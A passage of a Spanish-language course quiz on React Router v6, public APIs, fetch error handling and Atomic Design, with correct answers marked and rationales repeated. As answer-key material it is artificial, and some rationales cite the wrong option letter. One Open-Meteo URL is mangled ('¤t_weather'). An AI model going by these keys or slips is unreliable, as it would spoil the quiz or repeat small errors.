Por qué: En React Router v6, las rutas dinámicas se definen con :paramName (con dos puntos). En el componente destino, lees el parámetro con useParams(): const { id } = useParams();. Es el patrón estándar para /pais/arg, /pais/mex, etc. La sintaxis /:id/ es la convención universal (la usan React Router, Express, Next.js, etc.).Detalle: En React Router v6, las rutas dinámicas se definen con :paramName (con dos puntos). En el componente destino, lees el parámetro con useParams(): const { id } = useParams();. Es el patrón estándar para /pais/arg, /pais/mex, etc. La sintaxis /:id/ es la convención universal (la usan React Router, Express, Next.js, etc.). | a) [id] no es la sintaxis de React Router. | c) Sin :, es estática. -
¿Cómo navegas programáticamente (desde código) en React Router v6?
- a) window.location.href = '/ruta'
- b) useNavigate() devuelve una función navigate('/ruta') ✓ correcta
- c) history.push('/ruta')
- d) <Navigate to='/ruta' />
Por qué: useNavigate() devuelve una función navigate que puedes llamar desde cualquier código: navigate('/dashboard') después de un login exitoso, navigate(-1) para volver atrás, navigate('/ruta', { replace: true }) para reemplazar la entrada del historial. Es la forma IMPERATIVA de navegar. <Link> es la forma DECLARATIVA (en el JSX). window.location.href recarga la página (NO usar en SPA). history.push es de v5 (ya no existe en v6).Detalle: useNavigate() devuelve una función navigate que puedes llamar desde cualquier código: navigate('/dashboard') después de un login exitoso, navigate(-1) para volver atrás, navigate('/ruta', { replace: true }) para reemplazar la entrada del historial. Es la forma IMPERATIVA de navegar. <Link> es la forma DECLARATIVA (en el JSX). window.location.href recarga la página (NO usar en SPA). history.push es de v5 (ya no existe en v6). | a) window.location.href recarga la página. | c) <Navigate> es para redirigir, no para navegar. -
En Routes de React Router v6, ¿qué hace path="*"?
- a) Es un comentario.
- b) Es el catch-all: renderiza ese componente si NINGUNA otra ruta coincidió (típicamente usado para 404). ✓ correcta
- c) Es para ocultar la ruta.
- d) Es un error de sintaxis.
Por qué: path="*" es el catch-all: renderiza el componente asociado (típicamente un 404) si NINGUNA de las rutas anteriores coincidió con la URL. Es el patrón estándar para páginas no encontradas. SIEMPRE va al FINAL de <Routes>, después de todas las rutas específicas.Detalle: path="*" es el catch-all: renderiza el componente asociado (típicamente un 404) si NINGUNA de las rutas anteriores coincidió con la URL. Es el patrón estándar para páginas no encontradas. SIEMPRE va al FINAL de <Routes>, después de todas las rutas específicas. | a) No es comentario. | c) Es sintaxis válida. -
¿Cómo lees el parámetro :id de la URL /pais/:id?
- a) const id = window.location.pathname
- b) const { id } = useParams(); ✓ correcta
- c) const id = document.URL
- d) const id = props.match.params.id
Por qué: useParams() de react-router-dom devuelve un objeto con todos los parámetros de la URL. Para /pais/:id, devuelve { id: 'arg' }. Es un hook, así que solo se puede usar dentro de componentes funcionales. Es la forma estándar y moderna (en v5 era props.match.params.id, deprecated en v6).Detalle: useParams() de react-router-dom devuelve un objeto con todos los parámetros de la URL. Para /pais/:id, devuelve { id: 'arg' }. Es un hook, así que solo se puede usar dentro de componentes funcionales. Es la forma estándar y moderna (en v5 era props.match.params.id, deprecated en v6). | a) window.location.pathname devuelve la URL completa, no solo el parámetro. | c) props.match.params.id es de v5. -
Para que un componente esté protegido y solo accesible a usuarios autenticados, ¿qué patrón usas?
- a) Un if dentro del componente.
- b) Un componente envoltorio (RutaProtegida) que verifica el token y redirige a /login si no hay. ✓ correcta
- c) Ocultar el link con CSS display:none.
- d) Confiar en el backend.
Por qué: El patrón estándar es un componente envoltorio (Higher Order Component) que verifica la autenticación y redirige con <Navigate> si el usuario no está logueado. Ejemplo: <RutaProtegida><Dashboard /></RutaProtegida>. La protección SOLO en frontend es UX, NO es seguridad real (un usuario puede manipular el DOM). La VERDADERA seguridad está en el backend validando el JWT en cada petición.Detalle: El patrón estándar es un componente envoltorio (Higher Order Component) que verifica la autenticación y redirige con <Navigate> si el usuario no está logueado. Ejemplo: <RutaProtegida><Dashboard /></RutaProtegida>. La protección SOLO en frontend es UX, NO es seguridad real (un usuario puede manipular el DOM). La VERDADERA seguridad está en el backend validando el JWT en cada petición. | a) Un if dentro del componente es mala práctica. | c) Solo confiar en el backend ignora la UX. -
En React Router v6, ¿cuál es la diferencia entre Link y NavLink?
- a) Son lo mismo.
- b) Link navega a una ruta. NavLink es como Link, pero aplica una clase 'active' automáticamente cuando la URL coincide con su 'to'. Ideal para menús de navegación. ✓ correcta
- c) NavLink es para páginas externas.
- d) Link es deprecated.
Por qué: Link navega a una ruta (to="/ruta"). NavLink es como Link, pero aplica automáticamente una clase (o estilo) cuando la URL actual coincide con su 'to'. Es perfecto para menús: <NavLink to="/" className={({isActive}) => isActive ? 'active' : ''}>Inicio</NavLink>. La clase 'active' se aplica automáticamente al link correspondiente, sin tener que verificar la URL manualmente.Detalle: Link navega a una ruta (to="/ruta"). NavLink es como Link, pero aplica automáticamente una clase (o estilo) cuando la URL actual coincide con su 'to'. Es perfecto para menús: <NavLink to="/" className={({isActive}) => isActive ? 'active' : ''}>Inicio</NavLink>. La clase 'active' se aplica automáticamente al link correspondiente, sin tener que verificar la URL manualmente. | a) No son lo mismo. | c) Link no está deprecated. -
En REST Countries, ¿cuál es la mejor URL para mostrar el detalle de un país por su código?
- a) https://restcountries.com/v3.1/name/argentina
- b) https://restcountries.com/v3.1/alpha/arg (códigos cca3 de 3 letras) ✓ correcta
- c) https://restcountries.com/v3.1/all
- d) https://restcountries.com/v3.1/capital/buenos-aires
Por qué: REST Countries acepta códigos cca3 (alpha-3, de 3 letras): 'arg' para Argentina, 'mex' para México, 'col' para Colombia. Son únicos, cortos, y estables (no cambian si el nombre del país cambia). /v3.1/alpha/arg devuelve el país directamente. La URL /pais/arg es más limpia que /pais/argentina y más resistente a problemas de encoding (acentos, comas, etc.).Detalle: REST Countries acepta códigos cca3 (alpha-3, de 3 letras): 'arg' para Argentina, 'mex' para México, 'col' para Colombia. Son únicos, cortos, y estables (no cambian si el nombre del país cambia). /v3.1/alpha/arg devuelve el país directamente. La URL /pais/arg es más limpia que /pais/argentina y más resistente a problemas de encoding (acentos, comas, etc.). | a) /name/argentina funciona pero es más largo y propenso a errores de encoding. | c) /capital/buenos-aires no es un endpoint válido. -
¿Por qué la protección de rutas en el frontend NO es suficiente como única seguridad?
- a) Es suficiente.
- b) Porque un usuario puede manipular el DOM con DevTools, borrar el localStorage, y acceder a las rutas. La VERDADERA seguridad está en el backend validando el JWT en cada petición. ✓ correcta
- c) Porque es muy lenta.
- d) Porque no funciona en móvil.
Por qué: El frontend es COSMÉTICO: oculta la UI para usuarios no autenticados, pero cualquier usuario avanzado puede abrir DevTools, borrar el localStorage, y acceder a la ruta. La VERDADERA seguridad está en el BACKEND: el API de Express/Supabase valida el JWT y los permisos en CADA petición, sin importar lo que el frontend muestre. Es defensa en profundidad: frontend para UX, backend para seguridad. La regla: NUNCA confíes solo en el frontend para auth.Detalle: El frontend es COSMÉTICO: oculta la UI para usuarios no autenticados, pero cualquier usuario avanzado puede abrir DevTools, borrar el localStorage, y acceder a la ruta. La VERDADERA seguridad está en el BACKEND: el API de Express/Supabase valida el JWT y los permisos en CADA petición, sin importar lo que el frontend muestre. Es defensa en profundidad: frontend para UX, backend para seguridad. La regla: NUNCA confíes solo en el frontend para auth. | a) No es suficiente. | c) Funciona igual en móvil.
Preguntas abiertas (3)
-
Explica la diferencia entre Link, NavLink y useNavigate en React Router v6. Da un ejemplo de cuándo usar cada uno. (3 a 5 líneas).
Respuesta modelo: Link es la forma DECLARATIVA de navegar: <Link to='/ruta'>Click</Link>. Se usa en el JSX para que el usuario haga clic. NavLink es como Link pero aplica automáticamente la clase 'active' cuando la URL coincide con su 'to': se usa en menús de navegación para resaltar la opción actual. useNavigate() devuelve una función navigate que se llama desde código: navigate('/dashboard') después de un login exitoso, navigate(-1) para volver atrás. Es la forma IMPERATIVA. Regla: Link para links visibles, NavLink para items de menú, useNavigate para navegación después de acciones (login, logout, submit de formulario). Las 3 son complementarias, no excluyentes.
-
Explica cómo implementarías una ruta protegida (RutaProtegida) que verifique el token del usuario y redirija a /login si no está autenticado. (3 a 5 líneas).
Respuesta modelo: function RutaProtegida({ children }) { const location = useLocation(); const token = localStorage.getItem('token'); if (!token) { return <Navigate to='/login' state={{ from: location }} replace />; } return children; }. El componente verifica el token en localStorage: si no existe, redirige a /login usando <Navigate> con state={{ from: location }} para guardar DÓNDE quería ir el usuario. En Login, después del login exitoso, navegas a from.pathname. Es la forma estándar: un componente envoltorio que envuelve cualquier ruta que requiera auth. Pero recuerda: esto es solo UX; la seguridad REAL está en el backend validando el JWT en cada petición.
-
Estás construyendo una SPA con 10 páginas: home, lista, detalle, perfil, admin, login, 404, etc. Explica cómo estructurarías las rutas y qué patrones de React Router usarías. (3 a 5 líneas).
Respuesta modelo: Estructura: BrowserRouter en el top level (App.jsx), Routes con todas las Route ordenadas de específica a general: <Route path='/pais/:id' element={<DetallePais/>}/> (dinámica, con useParams), <Route path='/perfil' element={<RutaProtegida><Perfil/></RutaProtegida>}/> (protegida), <Route path='/admin' element={<RutaProtegida><Admin/></RutaProtegida>}/> (protegida, solo admin), <Route path='/login' element={<Login/>}/>, <Route path='/' element={<Inicio/>}/> (home con NavLink), <Route path='*' element={<NoEncontrada/>}/> (404 catch-all al final). Navbar con NavLink para resaltar la opción activa. El orden importa: específicas primero, genéricas al final, 404 al final. Es el patrón fundamental del 90% de las SPAs.
Preguntas de opción múltiple (10)
-
¿Cuál API de clima es 100% gratis y NO requiere API key?
- a) OpenWeatherMap (requiere key).
- b) Open-Meteo: https://api.open-meteo.com, gratis, sin auth, sin rate limit. ✓ correcta
- c) AccuWeather (de pago).
- d) Ninguna, todas requieren key.
Por qué: Open-Meteo es 100% gratis y NO requiere API key: solo hacer fetch al endpoint con latitud y longitud. Perfecta para aprender. Otras como OpenWeatherMap, AccuWeather, y la mayoría requieren registro y obtener una key.Detalle: Open-Meteo es 100% gratis y NO requiere API key: solo hacer fetch al endpoint con latitud y longitud. Perfecta para aprender. Otras como OpenWeatherMap, AccuWeather, y la mayoría requieren registro y obtener una key. | a) OpenWeatherMap requiere key. | c) Open-Meteo es la excepción gratuita. -
¿Por qué fetch NO rechaza la Promise con respuestas 404 o 500?
- a) Por bug.
- b) Por diseño: fetch solo rechaza con errores de red (sin internet, DNS, CORS). Para 4xx/5xx, devuelve response.ok=false. SIEMPRE hay que chequearlo manualmente. ✓ correcta
- c) Porque no se puede.
- d) Depende del navegador.
Por qué: fetch SOLO rechaza la Promise si hay error de RED (sin internet, DNS, CORS, etc.). Para 4xx/5xx, devuelve response.ok=false y el body puede ser HTML de error. Si no chequeas response.ok, intentas hacer .json() sobre HTML de error y explota. La regla: if (!response.ok) throw new Error(`HTTP ${response.status}`) SIEMPRE antes del .json().Detalle: fetch SOLO rechaza la Promise si hay error de RED (sin internet, DNS, CORS, etc.). Para 4xx/5xx, devuelve response.ok=false y el body puede ser HTML de error. Si no chequeas response.ok, intentas hacer .json() sobre HTML de error y explota. La regla: if (!response.ok) throw new Error(`HTTP ${response.status}`) SIEMPRE antes del .json(). | a) No es bug, es diseño. | c) Es consistente en todos los navegadores. -
¿Qué hace el hook useDebounce(value, 300)?
- a) Hace fetch cada 300ms.
- b) Devuelve el value solo después de 300ms sin cambios: cancela el timer si value cambia antes. ✓ correcta
- c) Pausa el componente por 300ms.
- d) Cuenta hasta 300.
Por qué: useDebounce devuelve el value solo después de 300ms SIN CAMBIOS. Si value cambia antes de los 300ms, cancela el timer anterior y empieza uno nuevo. Es perfecto para búsquedas en vivo: el usuario escribe 'argentina' (9 letras en <300ms), el hook devuelve el valor final 'argentina' UNA vez, y haces UN fetch. Sin debounce, son 9 fetches.Detalle: useDebounce devuelve el value solo después de 300ms SIN CAMBIOS. Si value cambia antes de los 300ms, cancela el timer anterior y empieza uno nuevo. Es perfecto para búsquedas en vivo: el usuario escribe 'argentina' (9 letras en <300ms), el hook devuelve el valor final 'argentina' UNA vez, y haces UN fetch. Sin debounce, son 9 fetches. | a) No hace fetch, solo controla cuándo se actualiza el valor. | c) No cuenta, es un timer que se cancela. -
¿Qué API pública es mejor para agregar mapas a tu web sin API key?
- a) Google Maps (requiere key y tarjeta de crédito).
- b) OpenStreetMap con Leaflet: 100% gratis, sin API key, solo agregar el CSS y los tiles. ✓ correcta
- c) Mapbox (requiere key).
- d) Bing Maps (requiere key).
Por qué: OpenStreetMap (OSM) con la librería Leaflet es 100% gratis, sin API key, sin tarjeta de crédito. Solo npm install leaflet (o react-leaflet para React), import 'leaflet/dist/leaflet.css', y agregar <TileLayer url='https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png'>. Es la opción #1 para aprender. Google Maps y Mapbox son más potentes pero requieren auth y pueden cobrarte.Detalle: OpenStreetMap (OSM) con la librería Leaflet es 100% gratis, sin API key, sin tarjeta de crédito. Solo npm install leaflet (o react-leaflet para React), import 'leaflet/dist/leaflet.css', y agregar <TileLayer url='https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png'>. Es la opción #1 para aprender. Google Maps y Mapbox son más potentes pero requieren auth y pueden cobrarte. | a) Google Maps requiere key y tarjeta. | c) Bing Maps requiere key. -
¿Para qué sirven los interceptores de Axios?
- a) Para hacer más rápido el fetch.
- b) Para añadir automáticamente headers (como el token JWT) a TODAS las peticiones, o manejar errores globalmente (como redirigir a /login si el backend devuelve 401). ✓ correcta
- c) Para interceptar hackers.
- d) Para guardar datos en localStorage.
Por qué: Los interceptores de Axios son funciones que se ejecutan ANTES o DESPUÉS de cada petición. El de request añade headers (como Authorization: Bearer TOKEN) automáticamente. El de response maneja errores globalmente (ej: si el backend devuelve 401, desloguea al usuario y lo redirige a /login). Es el patrón profesional: defines UNA vez cómo se autentican todas las peticiones, en vez de añadir el token manualmente en cada axios.get().Detalle: Los interceptores de Axios son funciones que se ejecutan ANTES o DESPUÉS de cada petición. El de request añade headers (como Authorization: Bearer TOKEN) automáticamente. El de response maneja errores globalmente (ej: si el backend devuelve 401, desloguea al usuario y lo redirige a /login). Es el patrón profesional: defines UNA vez cómo se autentican todas las peticiones, en vez de añadir el token manualmente en cada axios.get(). | a) No acelera el fetch. | c) No guarda en localStorage. -
Si una API devuelve un 500 Internal Server Error, ¿qué debería hacer tu app?
- a) Nada, mostrar pantalla en blanco.
- b) Mostrar un mensaje de error CLARO al usuario, opcionalmente con un botón 'Reintentar', y log del error técnico en consola para el developer. ✓ correcta
- c) Reintentar infinitamente.
- d) Mostrar el stack trace completo del error.
Por qué: Para errores 5xx (errores del servidor, no del usuario), muestra un mensaje amigable: 'No pude cargar los datos. Intenta más tarde.' Opcionalmente, un botón 'Reintentar' que vuelva a llamar a la función. El error técnico (stack trace) va a la consola con console.error para que el developer lo vea, NUNCA al usuario (es un riesgo de seguridad y de confusión).Detalle: Para errores 5xx (errores del servidor, no del usuario), muestra un mensaje amigable: 'No pude cargar los datos. Intenta más tarde.' Opcionalmente, un botón 'Reintentar' que vuelva a llamar a la función. El error técnico (stack trace) va a la consola con console.error para que el developer lo vea, NUNCA al usuario (es un riesgo de seguridad y de confusión). | a) Pantalla en blanco es mala UX. | c) Stack trace al usuario es un riesgo. -
Si quieres que tu componente se re-fetchee automáticamente cuando una URL cambia, ¿qué hook usas?
- a) useState
- b) useEffect con [url] como dependencia ✓ correcta
- c) useRef
- d) useMemo
Por qué: useEffect con [url] como dependencia se ejecuta cada vez que url cambia. Es el patrón para re-fetchear datos cuando cambia un parámetro: useEffect(() => { fetch(url).then(...) }, [url]). Sin la dependencia, solo se ejecuta al montar. Con ella, se ejecuta cada vez que cambia. Es el patrón fundamental de 'watch y refetch'.Detalle: useEffect con [url] como dependencia se ejecuta cada vez que url cambia. Es el patrón para re-fetchear datos cuando cambia un parámetro: useEffect(() => { fetch(url).then(...) }, [url]). Sin la dependencia, solo se ejecuta al montar. Con ella, se ejecuta cada vez que cambia. Es el patrón fundamental de 'watch y refetch'. | a) useState no dispara fetches. | c) useMemo no dispara efectos. -
¿Por qué es importante limpiar el fetch al desmontar un componente?
- a) No es importante.
- b) Porque si el usuario navega a otra página antes de que el fetch termine, React intentará hacer setState en un componente desmontado, mostrando warning y potencialmente causando memory leak. AbortController es la solución. ✓ correcta
- c) Porque el navegador lo obliga.
- d) Para liberar memoria RAM.
Por qué: Si no cancelas el fetch al desmontar, el callback se ejecuta después con setState en un componente que ya no existe. React muestra el warning 'Can't perform a React state update on an unmounted component'. Además, si el fetch trae datos grandes, se desperdicia RAM. La solución: AbortController + cleanup en useEffect: return () => controller.abort(). Es UNA línea que evita bugs difíciles de detectar.Detalle: Si no cancelas el fetch al desmontar, el callback se ejecuta después con setState en un componente que ya no existe. React muestra el warning 'Can't perform a React state update on an unmounted component'. Además, si el fetch trae datos grandes, se desperdicia RAM. La solución: AbortController + cleanup en useEffect: return () => controller.abort(). Es UNA línea que evita bugs difíciles de detectar. | a) Sí es importante. | c) La RAM es un beneficio, pero el bug es el motivo principal. -
Si combinas 4 APIs públicas (clima + mapa + país + películas) en una sola página, ¿qué patrón de UX usas?
- a) Cargar todo de golpe.
- b) Cargar cada API INDEPENDIENTEMENTE con su propio loading y error, y mostrar cada sección cuando esté lista (skeleton por sección). ✓ correcta
- c) Cargar todo en un solo loading global.
- d) Mostrar 4 iframes.
Por qué: Cada API debe tener su PROPIO loading y error: si una falla (ej: el clima), las otras 3 siguen funcionando. Usa Promise.all() para cargarlas en paralelo (más rápido) y muestra cada sección con su propio skeleton. Es el patrón de UX moderna: fallo aislado, no todo se cae si una pieza falla. Es como el diseño de microservicios: cada componente es independiente.Detalle: Cada API debe tener su PROPIO loading y error: si una falla (ej: el clima), las otras 3 siguen funcionando. Usa Promise.all() para cargarlas en paralelo (más rápido) y muestra cada sección con su propio skeleton. Es el patrón de UX moderna: fallo aislado, no todo se cae si una pieza falla. Es como el diseño de microservicios: cada componente es independiente. | a) Si una API es lenta, todo se queda esperando. | c) Iframes son mala práctica. -
Si tu variable de API key empieza con VITE_ (Vite) o REACT_APP_ (Create React App), ¿dónde queda esa key?
- a) En el backend.
- b) Se incluye en el bundle FINAL del frontend, por lo que es VISIBLE en DevTools > Sources del navegador. Para keys secretas, usa backend. Para keys públicas (ej: Supabase anon), está bien. ✓ correcta
- c) Se cifra.
- d) Se borra automáticamente.
Por qué: Cualquier variable de entorno con el prefijo VITE_ o REACT_APP_ se incluye LITERALMENTE en el bundle final que se envía al navegador. Si pones import.meta.env.VITE_OMDB_KEY, el valor se reemplaza por la key real en el bundle, visible para cualquiera. Por eso: (1) keys públicas (anon de Supabase, IDs de Google Maps) está bien en frontend. (2) keys SECRETAS (OMDB, OpenAI, Stripe) SIEMPRE en backend. La regla: si alguien ve la key en DevTools, ¿puede hacerte daño? Sí -> backend. No -> frontend OK.Detalle: Cualquier variable de entorno con el prefijo VITE_ o REACT_APP_ se incluye LITERALMENTE en el bundle final que se envía al navegador. Si pones import.meta.env.VITE_OMDB_KEY, el valor se reemplaza por la key real en el bundle, visible para cualquiera. Por eso: (1) keys públicas (anon de Supabase, IDs de Google Maps) está bien en frontend. (2) keys SECRETAS (OMDB, OpenAI, Stripe) SIEMPRE en backend. La regla: si alguien ve la key en DevTools, ¿puede hacerte daño? Sí -> backend. No -> frontend OK. | a) No se cifra. | c) El prefijo es solo convención de Vite/CRA, no afecta la seguridad.
Preguntas abiertas (3)
-
Explica por qué fetch NO rechaza con respuestas 4xx/5xx y cómo manejarlo correctamente. (3 a 5 líneas).
Respuesta modelo: fetch SOLO rechaza la Promise si hay error de RED (sin internet, DNS, CORS, fallo de TLS). Para respuestas HTTP con códigos 4xx (error del cliente) o 5xx (error del servidor), fetch devuelve response.ok=false y un body que puede ser JSON, HTML, o texto. Si no chequeas response.ok, intentas hacer .json() sobre un HTML de error y explota con SyntaxError. La forma correcta: if (!response.ok) throw new Error(`HTTP ${response.status}: ${response.statusText}`); ANTES del await response.json(). Es una línea que evita el error #1 de los principiantes con APIs. La alternativa: usa Axios, que SI rechaza con 4xx/5xx automáticamente.
-
Estás construyendo un buscador de películas con la API de OMDB. El usuario escribe letra por letra. Explica cómo implementarías la búsqueda en vivo con debounce, manejo de errores, y caché. (3 a 5 líneas).
Respuesta modelo: useState para el término, useDebounce(termino, 300) para esperar 300ms de inactividad, useFetch que solo se ejecuta si hay término (si no, retorna null), con caché en memoria (Map) que guarda resultados por término con timestamp (5 min de TTL), manejo de los 3 estados: cargando (spinner mientras espera), error (mensaje si falla, con retry), éxito (lista de películas). El debounce evita hacer fetch por cada tecla (9 fetches -> 1), el caché evita refetch si el usuario borra y reescribe el mismo término, el manejo de errores con retry automático (3 reintentos con delay) hace la app robusta. Es el patrón profesional de búsqueda en vivo con APIs externas.
-
Quieres combinar REST Countries + Open-Meteo + Leaflet en una sola página de detalle de país. Explica cómo estructurarías los 3 fetches y por qué. (3 a 5 líneas).
Respuesta modelo: Paso 1: useFetch para el país: useFetch(`https://restcountries.com/v3.1/alpha/${id}`) — esto te da latlng, nombre, capital, etc. Paso 2: useFetch para el clima SOLO cuando tienes las coordenadas: useFetch(pais ? `https://api.open-meteo.com/v1/forecast?latitude=${pais.latlng[0]}&longitude=${pais.latlng[1]}¤t_weather=true` : null). Paso 3: el mapa con Leaflet usa las MISMAS coordenadas del país (no necesita fetch extra, los tiles de OSM son globales). Los 3 se cargan en paralelo donde se puede (Promise.all para país + primera parte del mapa), y el clima es SECUENCIAL (necesita las coordenadas). Cada uno tiene su propio loading y error: si el clima falla, el país y el mapa siguen funcionando. Es el patrón de 'fallo aislado': cada API es independiente, una falla no rompe las otras. La clave: deps secuenciales cuando una necesita a la otra, paralelo cuando son independientes.
Preguntas de opción múltiple (10)
-
¿Cuáles son los 5 niveles de Atomic Design?
- a) HTML, CSS, JS, React, Node.
- b) Átomos, Moléculas, Organismos, Templates, Páginas. ✓ correcta
- c) Backend, Frontend, BD, API, UI.
- d) Junior, Mid, Senior, Lead, Manager.
Por qué: Los 5 niveles de Atomic Design son: Átomos (Button, Input), Moléculas (SearchBar, FormField), Organismos (Header, UserCard), Templates (layout), Páginas (instancias concretas). Es la metodología de Brad Frost, usada por Linear, Notion, IBM, y todos los design systems profesionales.Detalle: Los 5 niveles de Atomic Design son: Átomos (Button, Input), Moléculas (SearchBar, FormField), Organismos (Header, UserCard), Templates (layout), Páginas (instancias concretas). Es la metodología de Brad Frost, usada por Linear, Notion, IBM, y todos los design systems profesionales. | a) Esos son lenguajes, no niveles. | c) Esos son conceptos de app, no niveles. -
Un átomo en Atomic Design, ¿puede tener useState?
- a) Sí, siempre.
- b) No, debería ser presentacional puro (solo props). Si tiene estado, deja de ser átomo y se convierte en molécula u organismo. ✓ correcta
- c) Solo si es un input.
- d) Solo en componentes de clase.
Por qué: Los átomos son presentacionales puros: solo reciben props y emiten eventos. Si tienen useState, dejan de ser reutilizables (cada uso tendría su propio estado) y dejan de ser atómicos (mezclan presentación con lógica). Si un componente tiene estado, es molécula u organismo, NO átomo. La regla: átomos = solo props, organismos = useState y fetch.Detalle: Los átomos son presentacionales puros: solo reciben props y emiten eventos. Si tienen useState, dejan de ser reutilizables (cada uso tendría su propio estado) y dejan de ser atómicos (mezclan presentación con lógica). Si un componente tiene estado, es molécula u organismo, NO átomo. La regla: átomos = solo props, organismos = useState y fetch. | a) No es buena práctica. | c) La divisón no es por tipo de componente. -
¿Qué hace el <Outlet /> de React Router?
- a) Es un componente decorativo.
- b) Renderiza el componente de la ruta ACTIVA dentro del layout padre. Permite que UN layout (ej: MainLayout) envuelva MÚLTIPLES rutas. ✓ correcta
- c) Es para hacer logout.
- d) Es un hook.
Por qué: <Outlet /> es el lugar donde se renderiza el componente de la ruta activa. Si MainLayout tiene <Outlet /> y está configurado como ruta padre con children, todas las páginas (Home, DetallePais, etc.) se renderizan DENTRO del layout. Es el patrón DRY: defines el layout UNA vez, todas las páginas lo heredan. Sin <Outlet>, tendrías que repetir el layout en cada página.Detalle: <Outlet /> es el lugar donde se renderiza el componente de la ruta activa. Si MainLayout tiene <Outlet /> y está configurado como ruta padre con children, todas las páginas (Home, DetallePais, etc.) se renderizan DENTRO del layout. Es el patrón DRY: defines el layout UNA vez, todas las páginas lo heredan. Sin <Outlet>, tendrías que repetir el layout en cada página. | a) No es decorativo, es funcional. | c) Es un componente, no un hook. -
¿Para qué sirve Storybook?
- a) Para hacer deploy.
- b) Para documentar y probar componentes en aislamiento: cada componente con todas sus variantes en un solo lugar, con controles interactivos. ✓ correcta
- c) Para hacer tests unitarios.
- d) Para gestionar el estado global.
Por qué: Storybook es un catálogo vivo de componentes: por cada componente, defines 'stories' (variantes) que se muestran en una web interactiva. Los developers y designers pueden ver, probar y modificar las props en tiempo real. Es la herramienta estándar para documentar design systems. Linear, Notion, y la mayoría de empresas con design system lo usan.Detalle: Storybook es un catálogo vivo de componentes: por cada componente, defines 'stories' (variantes) que se muestran en una web interactiva. Los developers y designers pueden ver, probar y modificar las props en tiempo real. Es la herramienta estándar para documentar design systems. Linear, Notion, y la mayoría de empresas con design system lo usan. | a) No es para deploy. | c) No es para estado global (eso es Redux/Zustand). -
¿Qué es un 'presentational component'?
- a) Un componente con mucha lógica.
- b) Un componente que SOLO recibe props y renderiza UI. No tiene estado propio, no hace fetch, no tiene lógica de negocio. Es reutilizable y testeable de forma aislada. ✓ correcta
- c) Un componente deprecated.
- d) Un componente solo para desktop.
Por qué: Un presentational component (también llamado 'dumb' o 'stateless') es el que SOLO recibe props y renderiza UI. No tiene useState (excepto para UI local como 'abierto/cerrado'), no hace fetch, no tiene lógica de negocio. Es la base del patrón 'presentational vs container': los presentational son los átomos/moléculas, los containers son los organismos. Es el patrón que hace tu código modular y testeable.Detalle: Un presentational component (también llamado 'dumb' o 'stateless') es el que SOLO recibe props y renderiza UI. No tiene useState (excepto para UI local como 'abierto/cerrado'), no hace fetch, no tiene lógica de negocio. Es la base del patrón 'presentational vs container': los presentational son los átomos/moléculas, los containers son los organismos. Es el patrón que hace tu código modular y testeable. | a) Es lo opuesto: poca lógica. | c) Funciona en todos los dispositivos. -
En Atomic Design, ¿dónde vive la lógica de fetch a una API?
- a) En átomos (para que sean 'completos').
- b) En organismos (o hooks personalizados). Los átomos y moléculas son presentacionales. ✓ correcta
- c) En el template.
- d) En el CSS.
Por qué: La lógica de fetch vive en los organismos (o en custom hooks como useFetch). Los átomos y moléculas son presentacionales: solo reciben datos via props. Si un átomo hace fetch, deja de ser reutilizable (cada uso hace su propio fetch) y rompe la separación de responsabilidades. La regla: presentational (átomos/moléculas) vs container (organismos). Si tienes fetch, estás en un organismo.Detalle: La lógica de fetch vive en los organismos (o en custom hooks como useFetch). Los átomos y moléculas son presentacionales: solo reciben datos via props. Si un átomo hace fetch, deja de ser reutilizable (cada uso hace su propio fetch) y rompe la separación de responsabilidades. La regla: presentational (átomos/moléculas) vs container (organismos). Si tienes fetch, estás en un organismo. | a) Contradice Atomic Design. | c) CSS no tiene lógica. -
Si tienes 15 componentes Button diferentes (ButtonPrimary, ButtonSecondary, etc.), ¿cuál es el problema?
- a) No hay problema, es variedad.
- b) Estás creando componentes cuando podrías haber usado UN Button con props variant. Cada componente extra es código que mantener, testear, y documentar. Mejor: UN Button con variant y size como props. ✓ correcta
- c) Es para SEO.
- d) Es obligatorio.
Por qué: 15 componentes Button es anti-Atomic Design. La forma correcta: UN Button con props (variant='primary'|'secondary'|'danger', size='sm'|'md'|'lg'). El componente único es más fácil de mantener, testear, y estilizar. Los 15 componentes separados causan duplicación, inconsistencias (cada uno con un padding ligeramente distinto), y dolor de cabeza al agregar una nueva variante. Es la diferencia entre un junior que copia y pega y un senior que diseña sistemas escalables.Detalle: 15 componentes Button es anti-Atomic Design. La forma correcta: UN Button con props (variant='primary'|'secondary'|'danger', size='sm'|'md'|'lg'). El componente único es más fácil de mantener, testear, y estilizar. Los 15 componentes separados causan duplicación, inconsistencias (cada uno con un padding ligeramente distinto), y dolor de cabeza al agregar una nueva variante. Es la diferencia entre un junior que copia y pega y un senior que diseña sistemas escalables. | a) Es problema, no variedad. | c) No es obligatorio. -
¿Qué es un 'container component'?
- a) Un componente con CSS.
- b) Un componente que maneja el estado y la lógica de negocio (fetch, useState, useEffect). Es el 'smart' que pasa datos a los presentational. ✓ correcta
- c) Un componente de Docker.
- d) Un componente de CSS Grid.
Por qué: Un container component (también llamado 'smart' o 'stateful') es el que maneja el estado y la lógica: useState, useEffect, fetch a APIs, useReducer, etc. Pasa los datos a los presentational components (átomos/moléculas) via props. Es la otra mitad del patrón 'presentational vs container'. Los organismos son containers: tienen la lógica; los átomos/moléculas son presentational: solo muestran.Detalle: Un container component (también llamado 'smart' o 'stateful') es el que maneja el estado y la lógica: useState, useEffect, fetch a APIs, useReducer, etc. Pasa los datos a los presentational components (átomos/moléculas) via props. Es la otra mitad del patrón 'presentational vs container'. Los organismos son containers: tienen la lógica; los átomos/moléculas son presentational: solo muestran. | a) CSS no es container. | c) CSS Grid no es esto. -
Un template en Atomic Design, ¿contiene contenido real?
- a) Sí, mucho contenido.
- b) No, es la ESTRUCTURA sin contenido: layout principal con Header + main + Footer, donde main tiene <Outlet />. Las páginas concretas van dentro. ✓ correcta
- c) Solo a veces.
- d) Solo en desarrollo.
Por qué: Los templates son la ESTRUCTURA sin contenido específico: layout con Header, área de contenido, Footer. El contenido se inyecta después (con <Outlet /> en React Router, o como children). Esto permite tener UN template y N páginas que lo usan. Cambias el footer UNA vez, se actualiza en TODAS las páginas. Es el patrón DRY hecho framework.Detalle: Los templates son la ESTRUCTURA sin contenido específico: layout con Header, área de contenido, Footer. El contenido se inyecta después (con <Outlet /> en React Router, o como children). Esto permite tener UN template y N páginas que lo usan. Cambias el footer UNA vez, se actualiza en TODAS las páginas. Es el patrón DRY hecho framework. | a) No, el contenido va en las páginas. | c) No es solo en desarrollo. -
¿Cuál es la mejor forma de comunicar a tu equipo qué componentes existen?
